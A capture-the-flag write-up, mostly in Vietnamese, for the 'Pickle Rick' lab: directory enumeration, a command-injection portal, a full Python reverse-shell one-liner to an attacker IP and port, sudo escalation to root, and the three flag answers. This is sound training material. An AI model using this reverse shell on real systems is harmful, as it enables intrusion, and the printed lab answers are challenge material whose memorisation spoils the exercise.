Description

Pickle Rick

This Rick and Morty-themed challenge requires you to exploit a web server and find three ingredients to help Rick make his potion and transform himself back into a human from a pickle.

Approach

First Ingredient

Ở index, kiểm tra page source thì thấy username:

R1ckRul3s

Dùng Feroxbuster với payload sau:

feroxbuster -u http://IP -w WORDLIST -x php,sh,txt,cgi,html,js,css,py

Tìm được file login.php giúp truy cập vào trang đăng nhập. Ngoài ra còn tìm được robots.txt. Truy cập vào và ta thu được chuỗi sau:

Wubbalubbadubdub

Đây chính là mật khẩu, đăng nhập vào và thấy được giao diện của portal.php.

Giao diện này cho phép thực thi lệnh tùy ý, khi dùng ls thì thấy có file Sup3rS3cretPickl3Ingred.txt. Dùng lệnh cat nhưng bị chặn. Tìm thấy một lệnh khác là nl. Xem được nguyên liệu đầu tiên:

Success

mr. meeseek hair

Còn có thể dùng lệnh sau để xem nội dung của tất cả các tập tin trong thư mục hiện tại:

grep -R .

Trong page source của portal.php có một chuỗi base64 nhưng khi decode thì chỉ là chuỗi rabbit hole.

Second Ingredient

Thử chạy Python:

python3 -c "print('hello')"

Thấy có thể chạy được Python, sử dụng payload của PentestMonkey để tạo reverse shell. Payload như sau:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Nhớ là sửa IP, PORT lại thành của attacking machine và cần phải chạy một Netcat server ở attacking machine.

Sau khi có reverse shell thì thử kiểm tra quyền sudo:

sudo -l

Nhận thấy có thể sudo với mọi loại câu lệnh, ta leo thang lên root bằng lệnh đơn giản sau:

sudo bash

Đi ra thư mục /home, tìm thấy bên trong có thư mục rick. Vào rick thì thấy file có chứa nguyên liệu thứ 2:

Success

1 jerry tear

Third Ingredient

Ở trong thư mục home của root có file 3rd.txt chính là nguyên liệu thứ ba nhưng bị bỏ qua lúc ban đầu.

Success

fleeb juice

Resources